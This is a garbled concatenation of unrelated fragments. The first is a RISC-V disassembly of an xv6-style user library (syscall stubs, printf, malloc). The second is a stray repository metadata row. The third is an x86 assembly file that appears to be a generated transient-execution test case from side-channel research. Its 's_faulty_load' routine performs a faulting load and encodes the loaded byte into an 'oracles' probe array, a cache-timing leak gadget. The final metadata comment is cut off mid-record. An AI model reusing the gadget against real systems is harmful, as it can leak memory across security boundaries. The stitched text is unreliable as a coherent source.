a2,da4 <memcmp+0x36> d76: fff6069b addiw a3,a2,-1 d7a: 1682 slli a3,a3,0x20 d7c: 9281 srli a3,a3,0x20 d7e: 0685 addi a3,a3,1 d80: 96aa add a3,a3,a0 if (*p1 != *p2) { d82: 00054783 lbu a5,0(a0) d86: 0005c703 lbu a4,0(a1) d8a: 00e79863 bne a5,a4,d9a <memcmp+0x2c> return *p1 - *p2; } p1++; d8e: 0505 addi a0,a0,1 p2++; d90: 0585 addi a1,a1,1 while (n-- > 0) { d92: fed518e3 bne a0,a3,d82 <memcmp+0x14> } return 0; d96: 4501 li a0,0 d98: a019 j d9e <memcmp+0x30> return *p1 - *p2; d9a: 40e7853b subw a0,a5,a4 } d9e: 6422 ld s0,8(sp) da0: 0141 addi sp,sp,16 da2: 8082 ret return 0; da4: 4501 li a0,0 da6: bfe5 j d9e <memcmp+0x30> 0000000000000da8 <memcpy>: void * memcpy(void *dst, const void *src, uint n) { da8: 1141 addi sp,sp,-16 daa: e406 sd ra,8(sp) dac: e022 sd s0,0(sp) dae: 0800 addi s0,sp,16 return memmove(dst, src, n); db0: 00000097 auipc ra,0x0 db4: f66080e7 jalr -154(ra) # d16 <memmove> } db8: 60a2 ld ra,8(sp) dba: 6402 ld s0,0(sp) dbc: 0141 addi sp,sp,16 dbe: 8082 ret 0000000000000dc0 <fork>: # generated by usys.pl - do not edit #include "kernel/syscall.h" .global fork fork: li a7, SYS_fork dc0: 4885 li a7,1 ecall dc2: 00000073 ecall ret dc6: 8082 ret 0000000000000dc8 <exit>: .global exit exit: li a7, SYS_exit dc8: 4889 li a7,2 ecall dca: 00000073 ecall ret dce: 8082 ret 0000000000000dd0 <wait>: .global wait wait: li a7, SYS_wait dd0: 488d li a7,3 ecall dd2: 00000073 ecall ret dd6: 8082 ret 0000000000000dd8 <pipe>: .global pipe pipe: li a7, SYS_pipe dd8: 4891 li a7,4 ecall dda: 00000073 ecall ret dde: 8082 ret 0000000000000de0 <read>: .global read read: li a7, SYS_read de0: 4895 li a7,5 ecall de2: 00000073 ecall ret de6: 8082 ret 0000000000000de8 <write>: .global write write: li a7, SYS_write de8: 48c1 li a7,16 ecall dea: 00000073 ecall ret dee: 8082 ret 0000000000000df0 <close>: .global close close: li a7, SYS_close df0: 48d5 li a7,21 ecall df2: 00000073 ecall ret df6: 8082 ret 0000000000000df8 <kill>: .global kill kill: li a7, SYS_kill df8: 4899 li a7,6 ecall dfa: 00000073 ecall ret dfe: 8082 ret 0000000000000e00 <exec>: .global exec exec: li a7, SYS_exec e00: 489d li a7,7 ecall e02: 00000073 ecall ret e06: 8082 ret 0000000000000e08 <open>: .global open open: li a7, SYS_open e08: 48bd li a7,15 ecall e0a: 00000073 ecall ret e0e: 8082 ret 0000000000000e10 <mknod>: .global mknod mknod: li a7, SYS_mknod e10: 48c5 li a7,17 ecall e12: 00000073 ecall ret e16: 8082 ret 0000000000000e18 <unlink>: .global unlink unlink: li a7, SYS_unlink e18: 48c9 li a7,18 ecall e1a: 00000073 ecall ret e1e: 8082 ret 0000000000000e20 <fstat>: .global fstat fstat: li a7, SYS_fstat e20: 48a1 li a7,8 ecall e22: 00000073 ecall ret e26: 8082 ret 0000000000000e28 <link>: .global link link: li a7, SYS_link e28: 48cd li a7,19 ecall e2a: 00000073 ecall ret e2e: 8082 ret 0000000000000e30 <mkdir>: .global mkdir mkdir: li a7, SYS_mkdir e30: 48d1 li a7,20 ecall e32: 00000073 ecall ret e36: 8082 ret 0000000000000e38 <chdir>: .global chdir chdir: li a7, SYS_chdir e38: 48a5 li a7,9 ecall e3a: 00000073 ecall ret e3e: 8082 ret 0000000000000e40 <dup>: .global dup dup: li a7, SYS_dup e40: 48a9 li a7,10 ecall e42: 00000073 ecall ret e46: 8082 ret 0000000000000e48 <getpid>: .global getpid getpid: li a7, SYS_getpid e48: 48ad li a7,11 ecall e4a: 00000073 ecall ret e4e: 8082 ret 0000000000000e50 <sbrk>: .global sbrk sbrk: li a7, SYS_sbrk e50: 48b1 li a7,12 ecall e52: 00000073 ecall ret e56: 8082 ret 0000000000000e58 <sleep>: .global sleep sleep: li a7, SYS_sleep e58: 48b5 li a7,13 ecall e5a: 00000073 ecall ret e5e: 8082 ret 0000000000000e60 <uptime>: .global uptime uptime: li a7, SYS_uptime e60: 48b9 li a7,14 ecall e62: 00000073 ecall ret e66: 8082 ret 0000000000000e68 <waitstat>: .global waitstat waitstat: li a7, SYS_waitstat e68: 48d9 li a7,22 ecall e6a: 00000073 ecall ret e6e: 8082 ret 0000000000000e70 <btput>: .global btput btput: li a7, SYS_btput e70: 48dd li a7,23 ecall e72: 00000073 ecall ret e76: 8082 ret 0000000000000e78 <tput>: .global tput tput: li a7, SYS_tput e78: 48e1 li a7,24 ecall e7a: 00000073 ecall ret e7e: 8082 ret 0000000000000e80 <btget>: .global btget btget: li a7, SYS_btget e80: 48e5 li a7,25 ecall e82: 00000073 ecall ret e86: 8082 ret 0000000000000e88 <tget>: .global tget tget: li a7, SYS_tget e88: 48e9 li a7,26 ecall e8a: 00000073 ecall ret e8e: 8082 ret 0000000000000e90 <putc>: static char digits[] = "0123456789ABCDEF"; static void putc(int fd, char c) { e90: 1101 addi sp,sp,-32 e92: ec06 sd ra,24(sp) e94: e822 sd s0,16(sp) e96: 1000 addi s0,sp,32 e98: feb407a3 sb a1,-17(s0) write(fd, &c, 1); e9c: 4605 li a2,1 e9e: fef40593 addi a1,s0,-17 ea2: 00000097 auipc ra,0x0 ea6: f46080e7 jalr -186(ra) # de8 <write> } eaa: 60e2 ld ra,24(sp) eac: 6442 ld s0,16(sp) eae: 6105 addi sp,sp,32 eb0: 8082 ret 0000000000000eb2 <printint>: static void printint(int fd, int xx, int base, int sgn) { eb2: 7139 addi sp,sp,-64 eb4: fc06 sd ra,56(sp) eb6: f822 sd s0,48(sp) eb8: f426 sd s1,40(sp) eba: f04a sd s2,32(sp) ebc: ec4e sd s3,24(sp) ebe: 0080 addi s0,sp,64 ec0: 84aa mv s1,a0 char buf[16]; int i, neg; uint x; neg = 0; if(sgn && xx < 0){ ec2: c299 beqz a3,ec8 <printint+0x16> ec4: 0805c963 bltz a1,f56 <printint+0xa4> neg = 1; x = -xx; } else { x = xx; ec8: 2581 sext.w a1,a1 neg = 0; eca: 4881 li a7,0 ecc: fc040693 addi a3,s0,-64 } i = 0; ed0: 4701 li a4,0 do{ buf[i++] = digits[x % base]; ed2: 2601 sext.w a2,a2 ed4: 00000517 auipc a0,0x0 ed8: 5d450513 addi a0,a0,1492 # 14a8 <digits> edc: 883a mv a6,a4 ede: 2705 addiw a4,a4,1 ee0: 02c5f7bb remuw a5,a1,a2 ee4: 1782 slli a5,a5,0x20 ee6: 9381 srli a5,a5,0x20 ee8: 97aa add a5,a5,a0 eea: 0007c783 lbu a5,0(a5) eee: 00f68023 sb a5,0(a3) }while((x /= base) != 0); ef2: 0005879b sext.w a5,a1 ef6: 02c5d5bb divuw a1,a1,a2 efa: 0685 addi a3,a3,1 efc: fec7f0e3 bgeu a5,a2,edc <printint+0x2a> if(neg) f00: 00088c63 beqz a7,f18 <printint+0x66> buf[i++] = '-'; f04: fd070793 addi a5,a4,-48 f08: 00878733 add a4,a5,s0 f0c: 02d00793 li a5,45 f10: fef70823 sb a5,-16(a4) f14: 0028071b addiw a4,a6,2 while(--i >= 0) f18: 02e05863 blez a4,f48 <printint+0x96> f1c: fc040793 addi a5,s0,-64 f20: 00e78933 add s2,a5,a4 f24: fff78993 addi s3,a5,-1 f28: 99ba add s3,s3,a4 f2a: 377d addiw a4,a4,-1 f2c: 1702 slli a4,a4,0x20 f2e: 9301 srli a4,a4,0x20 f30: 40e989b3 sub s3,s3,a4 putc(fd, buf[i]); f34: fff94583 lbu a1,-1(s2) f38: 8526 mv a0,s1 f3a: 00000097 auipc ra,0x0 f3e: f56080e7 jalr -170(ra) # e90 <putc> while(--i >= 0) f42: 197d addi s2,s2,-1 f44: ff3918e3 bne s2,s3,f34 <printint+0x82> } f48: 70e2 ld ra,56(sp) f4a: 7442 ld s0,48(sp) f4c: 74a2 ld s1,40(sp) f4e: 7902 ld s2,32(sp) f50: 69e2 ld s3,24(sp) f52: 6121 addi sp,sp,64 f54: 8082 ret x = -xx; f56: 40b005bb negw a1,a1 neg = 1; f5a: 4885 li a7,1 x = -xx; f5c: bf85 j ecc <printint+0x1a> 0000000000000f5e <vprintf>: } // Print to the given fd. Only understands %d, %x, %p, %s. void vprintf(int fd, const char *fmt, va_list ap) { f5e: 7119 addi sp,sp,-128 f60: fc86 sd ra,120(sp) f62: f8a2 sd s0,112(sp) f64: f4a6 sd s1,104(sp) f66: f0ca sd s2,96(sp) f68: ecce sd s3,88(sp) f6a: e8d2 sd s4,80(sp) f6c: e4d6 sd s5,72(sp) f6e: e0da sd s6,64(sp) f70: fc5e sd s7,56(sp) f72: f862 sd s8,48(sp) f74: f466 sd s9,40(sp) f76: f06a sd s10,32(sp) f78: ec6e sd s11,24(sp) f7a: 0100 addi s0,sp,128 char *s; int c, i, state; state = 0; for(i = 0; fmt[i]; i++){ f7c: 0005c903 lbu s2,0(a1) f80: 18090f63 beqz s2,111e <vprintf+0x1c0> f84: 8aaa mv s5,a0 f86: 8b32 mv s6,a2 f88: 00158493 addi s1,a1,1 state = 0; f8c: 4981 li s3,0 if(c == '%'){ state = '%'; } else { putc(fd, c); } } else if(state == '%'){ f8e: 02500a13 li s4,37 f92: 4c55 li s8,21 f94: 00000c97 auipc s9,0x0 f98: 4bcc8c93 addi s9,s9,1212 # 1450 <malloc+0x22e> printptr(fd, va_arg(ap, uint64)); } else if(c == 's'){ s = va_arg(ap, char*); if(s == 0) s = "(null)"; while(*s != 0){ f9c: 02800d93 li s11,40 putc(fd, 'x'); fa0: 4d41 li s10,16 putc(fd, digits[x >> (sizeof(uint64) * 8 - 4)]); fa2: 00000b97 auipc s7,0x0 fa6: 506b8b93 addi s7,s7,1286 # 14a8 <digits> faa: a839 j fc8 <vprintf+0x6a> putc(fd, c); fac: 85ca mv a1,s2 fae: 8556 mv a0,s5 fb0: 00000097 auipc ra,0x0 fb4: ee0080e7 jalr -288(ra) # e90 <putc> fb8: a019 j fbe <vprintf+0x60> } else if(state == '%'){ fba: 01498d63 beq s3,s4,fd4 <vprintf+0x76> for(i = 0; fmt[i]; i++){ fbe: 0485 addi s1,s1,1 fc0: fff4c903 lbu s2,-1(s1) fc4: 14090d63 beqz s2,111e <vprintf+0x1c0> if(state == 0){ fc8: fe0999e3 bnez s3,fba <vprintf+0x5c> if(c == '%'){ fcc: ff4910e3 bne s2,s4,fac <vprintf+0x4e> state = '%'; fd0: 89d2 mv s3,s4 fd2: b7f5 j fbe <vprintf+0x60> if(c == 'd'){ fd4: 11490c63 beq s2,s4,10ec <vprintf+0x18e> fd8: f9d9079b addiw a5,s2,-99 fdc: 0ff7f793 zext.b a5,a5 fe0: 10fc6e63 bltu s8,a5,10fc <vprintf+0x19e> fe4: f9d9079b addiw a5,s2,-99 fe8: 0ff7f713 zext.b a4,a5 fec: 10ec6863 bltu s8,a4,10fc <vprintf+0x19e> ff0: 00271793 slli a5,a4,0x2 ff4: 97e6 add a5,a5,s9 ff6: 439c lw a5,0(a5) ff8: 97e6 add a5,a5,s9 ffa: 8782 jr a5 printint(fd, va_arg(ap, int), 10, 1); ffc: 008b0913 addi s2,s6,8 1000: 4685 li a3,1 1002: 4629 li a2,10 1004: 000b2583 lw a1,0(s6) 1008: 8556 mv a0,s5 100a: 00000097 auipc ra,0x0 100e: ea8080e7 jalr -344(ra) # eb2 <printint> 1012: 8b4a mv s6,s2 } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 1014: 4981 li s3,0 1016: b765 j fbe <vprintf+0x60> printint(fd, va_arg(ap, uint64), 10, 0); 1018: 008b0913 addi s2,s6,8 101c: 4681 li a3,0 101e: 4629 li a2,10 1020: 000b2583 lw a1,0(s6) 1024: 8556 mv a0,s5 1026: 00000097 auipc ra,0x0 102a: e8c080e7 jalr -372(ra) # eb2 <printint> 102e: 8b4a mv s6,s2 state = 0; 1030: 4981 li s3,0 1032: b771 j fbe <vprintf+0x60> printint(fd, va_arg(ap, int), 16, 0); 1034: 008b0913 addi s2,s6,8 1038: 4681 li a3,0 103a: 866a mv a2,s10 103c: 000b2583 lw a1,0(s6) 1040: 8556 mv a0,s5 1042: 00000097 auipc ra,0x0 1046: e70080e7 jalr -400(ra) # eb2 <printint> 104a: 8b4a mv s6,s2 state = 0; 104c: 4981 li s3,0 104e: bf85 j fbe <vprintf+0x60> printptr(fd, va_arg(ap, uint64)); 1050: 008b0793 addi a5,s6,8 1054: f8f43423 sd a5,-120(s0) 1058: 000b3983 ld s3,0(s6) putc(fd, '0'); 105c: 03000593 li a1,48 1060: 8556 mv a0,s5 1062: 00000097 auipc ra,0x0 1066: e2e080e7 jalr -466(ra) # e90 <putc> putc(fd, 'x'); 106a: 07800593 li a1,120 106e: 8556 mv a0,s5 1070: 00000097 auipc ra,0x0 1074: e20080e7 jalr -480(ra) # e90 <putc> 1078: 896a mv s2,s10 putc(fd, digits[x >> (sizeof(uint64) * 8 - 4)]); 107a: 03c9d793 srli a5,s3,0x3c 107e: 97de add a5,a5,s7 1080: 0007c583 lbu a1,0(a5) 1084: 8556 mv a0,s5 1086: 00000097 auipc ra,0x0 108a: e0a080e7 jalr -502(ra) # e90 <putc> for (i = 0; i < (sizeof(uint64) * 2); i++, x <<= 4) 108e: 0992 slli s3,s3,0x4 1090: 397d addiw s2,s2,-1 1092: fe0914e3 bnez s2,107a <vprintf+0x11c> printptr(fd, va_arg(ap, uint64)); 1096: f8843b03 ld s6,-120(s0) state = 0; 109a: 4981 li s3,0 109c: b70d j fbe <vprintf+0x60> s = va_arg(ap, char*); 109e: 008b0913 addi s2,s6,8 10a2: 000b3983 ld s3,0(s6) if(s == 0) 10a6: 02098163 beqz s3,10c8 <vprintf+0x16a> while(*s != 0){ 10aa: 0009c583 lbu a1,0(s3) 10ae: c5ad beqz a1,1118 <vprintf+0x1ba> putc(fd, *s); 10b0: 8556 mv a0,s5 10b2: 00000097 auipc ra,0x0 10b6: dde080e7 jalr -546(ra) # e90 <putc> s++; 10ba: 0985 addi s3,s3,1 while(*s != 0){ 10bc: 0009c583 lbu a1,0(s3) 10c0: f9e5 bnez a1,10b0 <vprintf+0x152> s = va_arg(ap, char*); 10c2: 8b4a mv s6,s2 state = 0; 10c4: 4981 li s3,0 10c6: bde5 j fbe <vprintf+0x60> s = "(null)"; 10c8: 00000997 auipc s3,0x0 10cc: 38098993 addi s3,s3,896 # 1448 <malloc+0x226> while(*s != 0){ 10d0: 85ee mv a1,s11 10d2: bff9 j 10b0 <vprintf+0x152> putc(fd, va_arg(ap, uint)); 10d4: 008b0913 addi s2,s6,8 10d8: 000b4583 lbu a1,0(s6) 10dc: 8556 mv a0,s5 10de: 00000097 auipc ra,0x0 10e2: db2080e7 jalr -590(ra) # e90 <putc> 10e6: 8b4a mv s6,s2 state = 0; 10e8: 4981 li s3,0 10ea: bdd1 j fbe <vprintf+0x60> putc(fd, c); 10ec: 85d2 mv a1,s4 10ee: 8556 mv a0,s5 10f0: 00000097 auipc ra,0x0 10f4: da0080e7 jalr -608(ra) # e90 <putc> state = 0; 10f8: 4981 li s3,0 10fa: b5d1 j fbe <vprintf+0x60> putc(fd, '%'); 10fc: 85d2 mv a1,s4 10fe: 8556 mv a0,s5 1100: 00000097 auipc ra,0x0 1104: d90080e7 jalr -624(ra) # e90 <putc> putc(fd, c); 1108: 85ca mv a1,s2 110a: 8556 mv a0,s5 110c: 00000097 auipc ra,0x0 1110: d84080e7 jalr -636(ra) # e90 <putc> state = 0; 1114: 4981 li s3,0 1116: b565 j fbe <vprintf+0x60> s = va_arg(ap, char*); 1118: 8b4a mv s6,s2 state = 0; 111a: 4981 li s3,0 111c: b54d j fbe <vprintf+0x60> } } } 111e: 70e6 ld ra,120(sp) 1120: 7446 ld s0,112(sp) 1122: 74a6 ld s1,104(sp) 1124: 7906 ld s2,96(sp) 1126: 69e6 ld s3,88(sp) 1128: 6a46 ld s4,80(sp) 112a: 6aa6 ld s5,72(sp) 112c: 6b06 ld s6,64(sp) 112e: 7be2 ld s7,56(sp) 1130: 7c42 ld s8,48(sp) 1132: 7ca2 ld s9,40(sp) 1134: 7d02 ld s10,32(sp) 1136: 6de2 ld s11,24(sp) 1138: 6109 addi sp,sp,128 113a: 8082 ret 000000000000113c <fprintf>: void fprintf(int fd, const char *fmt, ...) { 113c: 715d addi sp,sp,-80 113e: ec06 sd ra,24(sp) 1140: e822 sd s0,16(sp) 1142: 1000 addi s0,sp,32 1144: e010 sd a2,0(s0) 1146: e414 sd a3,8(s0) 1148: e818 sd a4,16(s0) 114a: ec1c sd a5,24(s0) 114c: 03043023 sd a6,32(s0) 1150: 03143423 sd a7,40(s0) va_list ap; va_start(ap, fmt); 1154: fe843423 sd s0,-24(s0) vprintf(fd, fmt, ap); 1158: 8622 mv a2,s0 115a: 00000097 auipc ra,0x0 115e: e04080e7 jalr -508(ra) # f5e <vprintf> } 1162: 60e2 ld ra,24(sp) 1164: 6442 ld s0,16(sp) 1166: 6161 addi sp,sp,80 1168: 8082 ret 000000000000116a <printf>: void printf(const char *fmt, ...) { 116a: 711d addi sp,sp,-96 116c: ec06 sd ra,24(sp) 116e: e822 sd s0,16(sp) 1170: 1000 addi s0,sp,32 1172: e40c sd a1,8(s0) 1174: e810 sd a2,16(s0) 1176: ec14 sd a3,24(s0) 1178: f018 sd a4,32(s0) 117a: f41c sd a5,40(s0) 117c: 03043823 sd a6,48(s0) 1180: 03143c23 sd a7,56(s0) va_list ap; va_start(ap, fmt); 1184: 00840613 addi a2,s0,8 1188: fec43423 sd a2,-24(s0) vprintf(1, fmt, ap); 118c: 85aa mv a1,a0 118e: 4505 li a0,1 1190: 00000097 auipc ra,0x0 1194: dce080e7 jalr -562(ra) # f5e <vprintf> } 1198: 60e2 ld ra,24(sp) 119a: 6442 ld s0,16(sp) 119c: 6125 addi sp,sp,96 119e: 8082 ret 00000000000011a0 <free>: static Header base; static Header *freep; void free(void *ap) { 11a0: 1141 addi sp,sp,-16 11a2: e422 sd s0,8(sp) 11a4: 0800 addi s0,sp,16 Header *bp, *p; bp = (Header*)ap - 1; 11a6: ff050693 addi a3,a0,-16 for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 11aa: 00000797 auipc a5,0x0 11ae: 3267b783 ld a5,806(a5) # 14d0 <freep> 11b2: a02d j 11dc <free+0x3c> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) break; if(bp + bp->s.size == p->s.ptr){ bp->s.size += p->s.ptr->s.size; 11b4: 4618 lw a4,8(a2) 11b6: 9f2d addw a4,a4,a1 11b8: fee52c23 sw a4,-8(a0) bp->s.ptr = p->s.ptr->s.ptr; 11bc: 6398 ld a4,0(a5) 11be: 6310 ld a2,0(a4) 11c0: a83d j 11fe <free+0x5e> } else bp->s.ptr = p->s.ptr; if(p + p->s.size == bp){ p->s.size += bp->s.size; 11c2: ff852703 lw a4,-8(a0) 11c6: 9f31 addw a4,a4,a2 11c8: c798 sw a4,8(a5) p->s.ptr = bp->s.ptr; 11ca: ff053683 ld a3,-16(a0) 11ce: a091 j 1212 <free+0x72> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 11d0: 6398 ld a4,0(a5) 11d2: 00e7e463 bltu a5,a4,11da <free+0x3a> 11d6: 00e6ea63 bltu a3,a4,11ea <free+0x4a> { 11da: 87ba mv a5,a4 for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 11dc: fed7fae3 bgeu a5,a3,11d0 <free+0x30> 11e0: 6398 ld a4,0(a5) 11e2: 00e6e463 bltu a3,a4,11ea <free+0x4a> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 11e6: fee7eae3 bltu a5,a4,11da <free+0x3a> if(bp + bp->s.size == p->s.ptr){ 11ea: ff852583 lw a1,-8(a0) 11ee: 6390 ld a2,0(a5) 11f0: 02059813 slli a6,a1,0x20 11f4: 01c85713 srli a4,a6,0x1c 11f8: 9736 add a4,a4,a3 11fa: fae60de3 beq a2,a4,11b4 <free+0x14> bp->s.ptr = p->s.ptr->s.ptr; 11fe: fec53823 sd a2,-16(a0) if(p + p->s.size == bp){ 1202: 4790 lw a2,8(a5) 1204: 02061593 slli a1,a2,0x20 1208: 01c5d713 srli a4,a1,0x1c 120c: 973e add a4,a4,a5 120e: fae68ae3 beq a3,a4,11c2 <free+0x22> p->s.ptr = bp->s.ptr; 1212: e394 sd a3,0(a5) } else p->s.ptr = bp; freep = p; 1214: 00000717 auipc a4,0x0 1218: 2af73e23 sd a5,700(a4) # 14d0 <freep> } 121c: 6422 ld s0,8(sp) 121e: 0141 addi sp,sp,16 1220: 8082 ret 0000000000001222 <malloc>: return freep; } void* malloc(uint nbytes) { 1222: 7139 addi sp,sp,-64 1224: fc06 sd ra,56(sp) 1226: f822 sd s0,48(sp) 1228: f426 sd s1,40(sp) 122a: f04a sd s2,32(sp) 122c: ec4e sd s3,24(sp) 122e: e852 sd s4,16(sp) 1230: e456 sd s5,8(sp) 1232: e05a sd s6,0(sp) 1234: 0080 addi s0,sp,64 Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 1236: 02051493 slli s1,a0,0x20 123a: 9081 srli s1,s1,0x20 123c: 04bd addi s1,s1,15 123e: 8091 srli s1,s1,0x4 1240: 0014899b addiw s3,s1,1 1244: 0485 addi s1,s1,1 if((prevp = freep) == 0){ 1246: 00000517 auipc a0,0x0 124a: 28a53503 ld a0,650(a0) # 14d0 <freep> 124e: c515 beqz a0,127a <malloc+0x58> base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 1250: 611c ld a5,0(a0) if(p->s.size >= nunits){ 1252: 4798 lw a4,8(a5) 1254: 02977f63 bgeu a4,s1,1292 <malloc+0x70> 1258: 8a4e mv s4,s3 125a: 0009871b sext.w a4,s3 125e: 6685 lui a3,0x1 1260: 00d77363 bgeu a4,a3,1266 <malloc+0x44> 1264: 6a05 lui s4,0x1 1266: 000a0b1b sext.w s6,s4 p = sbrk(nu * sizeof(Header)); 126a: 004a1a1b slliw s4,s4,0x4 p->s.size = nunits; } freep = prevp; return (void*)(p + 1); } if(p == freep) 126e: 00000917 auipc s2,0x0 1272: 26290913 addi s2,s2,610 # 14d0 <freep> if(p == (char*)-1) 1276: 5afd li s5,-1 1278: a895 j 12ec <malloc+0xca> base.s.ptr = freep = prevp = &base; 127a: 00000797 auipc a5,0x0 127e: 2c678793 addi a5,a5,710 # 1540 <base> 1282: 00000717 auipc a4,0x0 1286: 24f73723 sd a5,590(a4) # 14d0 <freep> 128a: e39c sd a5,0(a5) base.s.size = 0; 128c: 0007a423 sw zero,8(a5) if(p->s.size >= nunits){ 1290: b7e1 j 1258 <malloc+0x36> if(p->s.size == nunits) 1292: 02e48c63 beq s1,a4,12ca <malloc+0xa8> p->s.size -= nunits; 1296: 4137073b subw a4,a4,s3 129a: c798 sw a4,8(a5) p += p->s.size; 129c: 02071693 slli a3,a4,0x20 12a0: 01c6d713 srli a4,a3,0x1c 12a4: 97ba add a5,a5,a4 p->s.size = nunits; 12a6: 0137a423 sw s3,8(a5) freep = prevp; 12aa: 00000717 auipc a4,0x0 12ae: 22a73323 sd a0,550(a4) # 14d0 <freep> return (void*)(p + 1); 12b2: 01078513 addi a0,a5,16 if((p = morecore(nunits)) == 0) return 0; } } 12b6: 70e2 ld ra,56(sp) 12b8: 7442 ld s0,48(sp) 12ba: 74a2 ld s1,40(sp) 12bc: 7902 ld s2,32(sp) 12be: 69e2 ld s3,24(sp) 12c0: 6a42 ld s4,16(sp) 12c2: 6aa2 ld s5,8(sp) 12c4: 6b02 ld s6,0(sp) 12c6: 6121 addi sp,sp,64 12c8: 8082 ret prevp->s.ptr = p->s.ptr; 12ca: 6398 ld a4,0(a5) 12cc: e118 sd a4,0(a0) 12ce: bff1 j 12aa <malloc+0x88> hp->s.size = nu; 12d0: 01652423 sw s6,8(a0) free((void*)(hp + 1)); 12d4: 0541 addi a0,a0,16 12d6: 00000097 auipc ra,0x0 12da: eca080e7 jalr -310(ra) # 11a0 <free> return freep; 12de: 00093503 ld a0,0(s2) if((p = morecore(nunits)) == 0) 12e2: d971 beqz a0,12b6 <malloc+0x94> for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 12e4: 611c ld a5,0(a0) if(p->s.size >= nunits){ 12e6: 4798 lw a4,8(a5) 12e8: fa9775e3 bgeu a4,s1,1292 <malloc+0x70> if(p == freep) 12ec: 00093703 ld a4,0(s2) 12f0: 853e mv a0,a5 12f2: fef719e3 bne a4,a5,12e4 <malloc+0xc2> p = sbrk(nu * sizeof(Header)); 12f6: 8552 mv a0,s4 12f8: 00000097 auipc ra,0x0 12fc: b58080e7 jalr -1192(ra) # e50 <sbrk> if(p == (char*)-1) 1300: fd5518e3 bne a0,s5,12d0 <malloc+0xae> return 0; 1304: 4501 li a0,0 1306: bf45 j 12b6 <malloc+0x94>
34.76225
71
0.43829
cc5464683d543e9c3bc2a514296d4623ed2edc81
6,155
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_21829_1198.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_21829_1198.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_21829_1198.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r13 push %r15 push %r8 push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_UC_ht+0x8bd9, %r15 nop add $45328, %r8 mov $0x6162636465666768, %rdx movq %rdx, (%r15) nop nop nop nop nop add $58373, %rbx lea addresses_UC_ht+0xf46b, %rsi lea addresses_A_ht+0x11149, %rdi nop nop nop add $59433, %rbx mov $22, %rcx rep movsq dec %rcx lea addresses_normal_ht+0x136b9, %rdx nop nop nop nop add %r8, %r8 movw $0x6162, (%rdx) nop nop nop xor $54642, %rdi lea addresses_normal_ht+0x68b9, %r15 clflush (%r15) xor %rcx, %rcx mov $0x6162636465666768, %rsi movq %rsi, (%r15) nop nop cmp $61774, %rsi lea addresses_D_ht+0x59cd, %r8 nop nop nop nop dec %rdi movups (%r8), %xmm3 vpextrq $0, %xmm3, %rdx nop dec %rcx lea addresses_A_ht+0xd5b9, %rsi lea addresses_WT_ht+0x11395, %rdi nop nop inc %r13 mov $55, %rcx rep movsl inc %rdi lea addresses_WC_ht+0x15859, %rsi lea addresses_UC_ht+0x10605, %rdi clflush (%rsi) nop nop and $2040, %rdx mov $65, %rcx rep movsw nop nop nop nop nop cmp %rdi, %rdi lea addresses_WC_ht+0x7eb9, %r13 add %rdi, %rdi movb $0x61, (%r13) nop nop xor $24683, %r15 lea addresses_A_ht+0x40b9, %rsi cmp $2406, %rdx mov $0x6162636465666768, %rcx movq %rcx, (%rsi) xor $49970, %rdx pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %r8 pop %r15 pop %r13 ret .global s_faulty_load s_faulty_load: push %r10 push %r12 push %rbp push %rdi push %rdx // Faulty Load lea addresses_PSE+0x16eb9, %r12 nop nop nop sub $16969, %r10 mov (%r12), %rbp lea oracles, %r12 and $0xff, %rbp shlq $12, %rbp mov (%r12,%rbp,1), %rbp pop %rdx pop %rdi pop %rbp pop %r12 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'size': 4, 'AVXalign': False, 'NT': True, 'congruent': 0, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 4, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': True}} {'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 2, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 1, 'same': True}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': 